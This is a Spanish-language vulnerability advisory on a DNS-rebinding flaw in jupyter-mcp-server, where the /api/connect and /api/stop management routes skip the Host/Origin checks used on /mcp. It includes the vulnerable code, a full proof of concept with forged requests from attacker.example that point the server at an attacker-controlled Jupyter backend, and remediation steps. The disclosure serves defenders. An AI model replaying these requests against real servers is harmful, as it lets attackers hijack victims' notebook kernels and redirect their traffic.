Crítica

Jupyter MCP Server: La vinculación DNS en el navegador puede secuestrar el backend de Jupyter mediante rutas de gestión

  • Publicada: 20.11.2026
  • Actualizado: 21.11.2026 10:00

El modo independiente streamable-http en datalayer/jupyter-mcp-server rechaza los encabezados falsificados Host y Origin en /mcp, pero las rutas de gestión personalizadas montadas en la misma aplicación no reciben la misma protección de origen del navegador. Un sitio web malicioso puede conservar el origen del atacante mientras su nombre de host se resuelve en 127.0.0.1 o en una dirección de destino privada, y luego enviar PUT /api/connect para reemplazar el backend de Jupyter activo del servidor MCP. La ruta acepta la solicitud con formato de navegador y hace que el servidor inicie un cliente de kernel contra infraestructura controlada por el atacante.

El endpoint protegido /mcp muestra el límite de origen del navegador previsto. Con MCP_TOKEN configurado, /mcp rechaza los encabezados de navegador falsificados:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

La ruta vulnerable es jupyter_mcp_server/server.py:143-187. Esta procesa el JSON del emisor, actualiza la configuración activa del backend de Jupyter, restablece ServerContext e inicia el kernel sin aplicar el rechazo de Host/Origin de /mcp a la ruta personalizada:

python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

/api/stop también altera el estado y acepta el mismo formato de ruta de origen del navegador:

python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Prueba de concepto

Ejecute la versión afectada con MCP_TOKEN configurado:

bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

Primero, demuestre que /mcp rechaza la solicitud con formato de navegador:

http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Respuesta observada:

http
HTTP/1.1 421
Invalid Host header

Ahora envíe el mismo formato de origen del navegador a la ruta de gestión personalizada. En un ataque de vinculación DNS mediante el navegador, la página controlada por el atacante mantiene el origen del atacante mientras el nombre de host se resuelve en 127.0.0.1 o en el listener privado de MCP:

http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Respuesta observada:

http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}

El registro del servidor muestra que /api/connect aceptó el backend elegido por el atacante a pesar de los encabezados de origen del navegador:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

Cuando un backend controlado por el atacante está escuchando en 127.0.0.1:9183, recibe el tráfico de la API de Jupyter desde el servidor MCP:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Impacto

El endpoint protegido /mcp rechaza valores falsificados de Host y Origin, pero las rutas personalizadas adyacentes los aceptan y realizan cambios de estado sensibles. Un atacante web puede utilizar la vinculación DNS para llegar a un listener MCP local, en LAN, VPN o publicado en Docker desde el navegador de la víctima, detener el kernel del cuaderno actual a través de /api/stop, reemplazar los valores configurados de runtime_url y document_url a través de /api/connect y hacer que el servidor MCP inicie tráfico de la API de Jupyter y WebSocket hacia infraestructura bajo control del atacante.

Por qué esto es una vulnerabilidad y no un comportamiento previsto

  • No se trata de una afirmación genérica de que /mcp carece de validación de Host. /mcp rechaza la repetición del Host falsificado con HTTP 421 Invalid Host header.
  • No se trata de una operación de cliente MCP de confianza. La ruta vulnerable es una ruta HTTP personalizada fuera del despacho normal de herramientas JSON-RPC y acepta solicitudes con formato de navegador.
  • No es únicamente un problema de enlace amplio. La vinculación predeterminada 0.0.0.0 aumenta la exposición, pero la falla en el límite de origen del navegador radica en que las rutas personalizadas que modifican el estado eluden los controles de Host/Origin aplicados a /mcp.

Qué hacer

Aplique la misma política de seguridad de origen del navegador a cada ruta montada en la aplicación HTTP independiente:

  1. Aplique la validación de Host y Origin antes de que las rutas personalizadas procesen cuerpos de solicitudes o modifiquen la configuración global.
  2. Exija el token portador MCP_TOKEN en /api/connect, /api/stop, /api/healthz y en cualquier ruta personalizada futura que lea o modifique el estado del servidor.
  3. Vincule HTTP independiente a 127.0.0.1 de forma predeterminada y exija una lista explícita de hosts permitidos para los listeners que no sean de bucle invertido.
  4. Agregue pruebas de regresión que demuestren que /api/connect y /api/stop rechazan encabezados del navegador falsificados para Host y Origin.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) jupyter-mcp-server < 1.0.3 1.0.3

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Debilidad (CWE)
CWE-350
Plataforma
Python (PyPI)
Paquete
jupyter-mcp-server
Publicada
20.11.2026
Actualizado
21.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-9x8x-crjq-g64h - CC BY 4.0

Historial de vulnerabilidades: jupyter-mcp-server

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.